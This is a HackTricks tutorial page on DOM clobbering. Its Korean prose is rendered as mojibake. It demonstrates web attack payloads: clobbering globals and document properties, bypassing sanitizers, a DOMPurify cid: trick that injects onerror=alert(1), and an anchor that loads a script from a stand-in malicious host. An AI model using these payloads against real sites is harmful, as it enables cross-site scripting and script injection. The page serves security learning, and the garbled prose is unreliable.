Dom Clobbering
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ฌํญ
HTML ํ๊ทธ์์ id ๋ฐ name ์์ฑ์ ์ฌ์ฉํ์ฌ JS ์ปจํ
์คํธ ๋ด์์ ์ ์ญ ๋ณ์๋ฅผ ์์ฑํ ์ ์์ต๋๋ค.
<form id="x"></form>
<script>
console.log(typeof document.x) //[object HTMLFormElement]
</script>
์ค์ง ํน์ ์์๋ง์ด name ์์ฑ์ ์ฌ์ฉํ์ฌ ์ ์ญ ๋ณ์๋ฅผ ํด๋ก๋ฒ๋งํ ์ ์์ต๋๋ค. ์ด๋ค์: embed, form, iframe, image, img ๋ฐ object์
๋๋ค.
ํฅ๋ฏธ๋กญ๊ฒ๋, form ์์๋ฅผ ์ฌ์ฉํ์ฌ ๋ณ์๋ฅผ ํด๋ก๋ฒ๋งํ ๋, ์์ ์์ฒด์ toString ๊ฐ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค: [object HTMLFormElement] ๊ทธ๋ฌ๋ anchor๋ฅผ ์ฌ์ฉํ ๊ฒฝ์ฐ toString ๊ฐ์ ์ต์ปค์ **href**๊ฐ ๋ฉ๋๋ค. ๋ฐ๋ผ์, a ํ๊ทธ๋ฅผ ์ฌ์ฉํ์ฌ ํด๋ก๋ฒ๋งํ๋ฉด, ๋ฌธ์์ด๋ก ์ฒ๋ฆฌ๋ ๋ ๊ฐ์ ์ ์ดํ ์ ์์ต๋๋ค:
<a href="controlled string" id="x"></a>
<script>
console.log(x) //controlled string
</script>
Arrays & Attributes
๋ฐฐ์ด๊ณผ ๊ฐ์ฒด ์์ฑ์ ๋ฎ์ด์ธ ์๋ ์์ต๋๋ค:
<a id="x">
<a id="x" name="y" href="controlled">
<script>
console.log(x[1]) //controlled
console.log(x.y) //controlled
</script></a
></a
>
3๋ฒ์งธ ์์ฑ(์: x.y.z)์ ๋ฎ์ด์ฐ๋ ค๋ฉด **form**์ ์ฌ์ฉํด์ผ ํฉ๋๋ค:
<form id="x" name="y"><input id="z" value="controlled" /></form>
<form id="x"></form>
<script>
alert(x.y.z.value) //controlled
</script>
์์ฑ์ ๋ ๋ง์ด ํด๋ก๋ฒ๋งํ๋ ๊ฒ์ ๋ ๋ณต์กํ์ง๋ง ์ฌ์ ํ ๊ฐ๋ฅํฉ๋๋ค, iframe์ ์ฌ์ฉํ์ฌ:
<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(x.y) //controlled
</script>
Warning
style ํ๊ทธ๋ iframe์ด ๋ ๋๋งํ ์ถฉ๋ถํ ์๊ฐ์ ์ฃผ๊ธฐ ์ํด ์ฌ์ฉ๋ฉ๋๋ค. ์ด๊ฒ์ด ์์ผ๋ฉด undefined ๊ฒฝ๊ณ ๊ฐ ํ์๋ฉ๋๋ค.
๋ ๊น์ ์์ฑ์ ํด๋ก๋ฒ๋งํ๋ ค๋ฉด, html ์ธ์ฝ๋ฉ์ด ์๋ iframe์ ๋ค์๊ณผ ๊ฐ์ด ์ฌ์ฉํ ์ ์์ต๋๋ค:
<iframe
name="a"
srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(a.b.c.d.e) //controlled
</script>
ํํฐ ์ฐํ
ํํฐ๊ฐ document.getElementByID('x').attributes์ ๊ฐ์ ๊ฒ์ ์ฌ์ฉํ์ฌ ๋
ธ๋์ ์์ฑ์ ๋ฃจํํ๊ณ ์๋ค๋ฉด, .attributes ์์ฑ์ ํด๋ก๋ฒํ์ฌ ํํฐ๋ฅผ ์ค๋จ์ํฌ ์ ์์ต๋๋ค. tagName, nodeName ๋๋ **parentNode**์ ๊ฐ์ ๋ค๋ฅธ DOM ์์ฑ๋ค๋ ํด๋ก๋ฒํ ์ ์์ต๋๋ค.
<form id="x"></form>
<form id="y">
<input name="nodeName" />
</form>
<script>
console.log(document.getElementById("x").nodeName) //FORM
console.log(document.getElementById("y").nodeName) //[object HTMLInputElement]
</script>
window.someObject ๋ฎ์ด์ฐ๊ธฐ
JavaScript์์๋ ๋ค์๊ณผ ๊ฐ์ ๊ฒฝ์ฐ๋ฅผ ์์ฃผ ์ฐพ์ต๋๋ค:
var someObject = window.someObject || {}
ํ์ด์ง์์ HTML์ ์กฐ์ํ๋ฉด someObject๋ฅผ DOM ๋
ธ๋๋ก ๋ฎ์ด์ธ ์ ์์ด ๋ณด์ ์ทจ์ฝ์ ์ด ๋ฐ์ํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, ์
์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ๊ฐ๋ฆฌํค๋ ์ต์ปค ์์๋ก someObject๋ฅผ ๊ต์ฒดํ ์ ์์ต๋๋ค:
<a id=someObject href=//malicious-website.com/malicious.js></a>
์ทจ์ฝํ ์ฝ๋ ์์:
<script>
window.onload = function () {
let someObject = window.someObject || {}
let script = document.createElement("script")
script.src = someObject.url
document.body.appendChild(script)
}
</script>
์ด ๋ฐฉ๋ฒ์ ์คํฌ๋ฆฝํธ ์์ค๋ฅผ ์ด์ฉํ์ฌ ์์น ์๋ ์ฝ๋๋ฅผ ์คํํฉ๋๋ค.
ํธ๋ฆญ: **DOMPurify**๋ cid: ํ๋กํ ์ฝ์ ์ฌ์ฉํ๋๋ก ํ์ฉํ๋ฉฐ, ์ด๋ ์ด์ค ๋ฐ์ดํ๋ฅผ URL ์ธ์ฝ๋ฉํ์ง ์์ต๋๋ค. ์ด๋ ๋ฐํ์์ ๋์ฝ๋ฉ๋ ์ธ์ฝ๋ฉ๋ ์ด์ค ๋ฐ์ดํ๋ฅผ ์ฃผ์
ํ ์ ์์์ ์๋ฏธํฉ๋๋ค. ๋ฐ๋ผ์ **<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">**์ ๊ฐ์ ๊ฒ์ ์ฃผ์
ํ๋ฉด HTML ์ธ์ฝ๋ฉ๋ "๊ฐ ๋ฐํ์์ ๋์ฝ๋ฉ๋์ด ์์ฑ ๊ฐ์์ ํ์ถํ์ฌ onerror ์ด๋ฒคํธ๋ฅผ ์์ฑํฉ๋๋ค.
๋ ๋ค๋ฅธ ๊ธฐ์ ์ form ์์๋ฅผ ์ฌ์ฉํฉ๋๋ค. ํน์ ํด๋ผ์ด์ธํธ ์ธก ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ ์๋ก ์์ฑ๋ ํผ ์์์ ์์ฑ์ ๊ฒ์ฌํ์ฌ ์ด๋ฅผ ์ ๋ฆฌํฉ๋๋ค. ๊ทธ๋ฌ๋ ํผ ์์ id=attributes๊ฐ ์๋ input์ ์ถ๊ฐํจ์ผ๋ก์จ ์์ฑ ์์ฑ์ ํจ๊ณผ์ ์ผ๋ก ๋ฎ์ด์ฐ๊ฒ ๋์ด, ์ธ์ ๊ธฐ๊ฐ ์ค์ ์์ฑ์ ์ ๊ทผํ์ง ๋ชปํ๊ฒ ํฉ๋๋ค.
์ด๋ฌํ ์ ํ์ ํด๋ก๋ฒ๋ง์ ์๋ฅผ ์ด CTF ์์ฑ๋ฌผ์์ ์ฐพ์ ์ ์์ต๋๋ค.
๋ฌธ์ ๊ฐ์ฒด ํด๋ก๋ฒ๋ง
๋ฌธ์์ ๋ฐ๋ฅด๋ฉด DOM ํด๋ก๋ฒ๋ง์ ์ฌ์ฉํ์ฌ ๋ฌธ์ ๊ฐ์ฒด์ ์์ฑ์ ๋ฎ์ด์ธ ์ ์์ต๋๋ค:
Document ์ธํฐํ์ด์ค๋ ์ด๋ฆ์ด ์๋ ์์ฑ์ ์ง์ํฉ๋๋ค. Document ๊ฐ์ฒด์ ์ง์๋๋ ์์ฑ ์ด๋ฆ์ ๋ค์๊ณผ ๊ฐ์ผ๋ฉฐ, ํธ๋ฆฌ ์์์ ๋ฐ๋ผ ๊ธฐ์ฌํ ์์์ ๋ฐ๋ผ ์ ๋ ฌ๋๋ฉฐ, ๋์ค์ ์ค๋ณต์ ๋ฌด์ํ๊ณ , ๋์ผํ ์์๊ฐ ๋ ๊ฐ์ง๋ฅผ ๊ธฐ์ฌํ ๋๋ id ์์ฑ์ ๊ฐ์ด ์ด๋ฆ ์์ฑ์ ๊ฐ๋ณด๋ค ๋จผ์ ์ต๋๋ค:
- ๋น์ด ์์ง ์์ ์ด๋ฆ ์ฝํ ์ธ ์์ฑ์ ๊ฐ์ง ๋ชจ๋ ๋ ธ์ถ๋ embed, form, iframe, img, ๋ฐ ๋ ธ์ถ๋ object ์์์ ์ด๋ฆ ์ฝํ ์ธ ์์ฑ ๊ฐ์ ๋ฌธ์๊ฐ ๋ฃจํธ์ธ ๋ฌธ์ ํธ๋ฆฌ์ ์์ด์ผ ํฉ๋๋ค;
- ๋น์ด ์์ง ์์ id ์ฝํ ์ธ ์์ฑ์ ๊ฐ์ง ๋ชจ๋ ๋ ธ์ถ๋ object ์์์ id ์ฝํ ์ธ ์์ฑ ๊ฐ์ ๋ฌธ์๊ฐ ๋ฃจํธ์ธ ๋ฌธ์ ํธ๋ฆฌ์ ์์ด์ผ ํฉ๋๋ค;
- ๋น์ด ์์ง ์์ id ์ฝํ ์ธ ์์ฑ๊ณผ ๋น์ด ์์ง ์์ ์ด๋ฆ ์ฝํ ์ธ ์์ฑ์ ๋ชจ๋ ๊ฐ์ง ๋ชจ๋ img ์์์ id ์ฝํ ์ธ ์์ฑ ๊ฐ์ ๋ฌธ์๊ฐ ๋ฃจํธ์ธ ๋ฌธ์ ํธ๋ฆฌ์ ์์ด์ผ ํฉ๋๋ค.
์ด ๊ธฐ์ ์ ์ฌ์ฉํ๋ฉด ์ผ๋ฐ์ ์ผ๋ก ์ฌ์ฉ๋๋ ๊ฐ์ธ document.cookie, document.body, document.children ๋ฐ document.querySelector์ ๊ฐ์ ๋ฌธ์ ์ธํฐํ์ด์ค์ ๋ฉ์๋๋ฅผ ๋ฎ์ด์ธ ์ ์์ต๋๋ค.
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2)ย [img, form, cookie: img]
typeof(document.cookie)
'object
์์๊ฐ ํด๋ก๋ฒ๋ง๋ ํ ์์ฑํ๊ธฐ
document.getElementById() ๋ฐ document.querySelector() ํธ์ถ์ ๊ฒฐ๊ณผ๋ ๋์ผํ id ์์ฑ์ ๊ฐ์ง <html> ๋๋ <body> ํ๊ทธ๋ฅผ ์ฃผ์
ํจ์ผ๋ก์จ ๋ณ๊ฒฝ๋ ์ ์์ต๋๋ค. ๋ค์์ ์ด๋ฅผ ์ํํ๋ ๋ฐฉ๋ฒ์
๋๋ค:
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">
clobbered
</html>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
alert(document.querySelector(".x").innerText) // Clobbered
</script>
</p>
๋ํ, ์ด๋ฌํ ์ฃผ์
๋ HTML/body ํ๊ทธ๋ฅผ ์จ๊ธฐ๊ธฐ ์ํด ์คํ์ผ์ ์ฌ์ฉํจ์ผ๋ก์จ innerText์ ๋ค๋ฅธ ํ
์คํธ๋ก ์ธํ ๊ฐ์ญ์ ๋ฐฉ์งํ ์ ์์ด ๊ณต๊ฒฉ์ ํจ์จ์ฑ์ ๋์ผ ์ ์์ต๋๋ค:
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">
clobbered
</html>
<style>
p {
display: none;
}
</style>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
SVG์ ๋ํ ์กฐ์ฌ ๊ฒฐ๊ณผ <body> ํ๊ทธ๋ ํจ๊ณผ์ ์ผ๋ก ํ์ฉ๋ ์ ์์์ ์ ์ ์์ต๋๋ค:
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<body id="cdnDomain">
clobbered
</body>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
HTML ํ๊ทธ๊ฐ Chrome ๋ฐ Firefox์ ๊ฐ์ ๋ธ๋ผ์ฐ์ ์ SVG ๋ด์์ ์๋ํ๋ ค๋ฉด <foreignobject> ํ๊ทธ๊ฐ ํ์ํฉ๋๋ค:
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">
clobbered
</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
Clobbering Forms
์์ ์์ ์๋ก์ด ํญ๋ชฉ์ ์ถ๊ฐํ๋ ๊ฒ์ด ๊ฐ๋ฅํฉ๋๋ค ๋จ์ง ์ผ๋ถ ํ๊ทธ ์์ form ์์ฑ์ ์ง์ ํจ์ผ๋ก์จ. ์ด๋ฅผ ์ฌ์ฉํ์ฌ ์์ ์์ ์๋ก์ด ๊ฐ์ ์ถ๊ฐํ๊ณ ์ฌ์ง์ด ์ ์กํ ์๋ก์ด ๋ฒํผ์ ์ถ๊ฐํ ์ ์์ต๋๋ค (ํด๋ฆญ์ฌํน ๋๋ ์ผ๋ถ .click() JS ์ฝ๋๋ฅผ ์
์ฉํ์ฌ):
<!--Add a new attribute and a new button to send-->
<textarea form="id-other-form" name="info">
";alert(1);//
</textarea>
<button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
- ๋ ๋ง์ ํผ ์์ฑ์ ๋ฒํผ ํ์ธํ๊ธฐ.
์ฐธ๊ณ ๋ฌธํ
- https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering
- https://portswigger.net/web-security/dom-based/dom-clobbering
- Heyes, Gareth. ํด์ปค๋ฅผ ์ํ JavaScript: ํด์ปค์ฒ๋ผ ์๊ฐํ๋ ๋ฒ ๋ฐฐ์ฐ๊ธฐ.
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


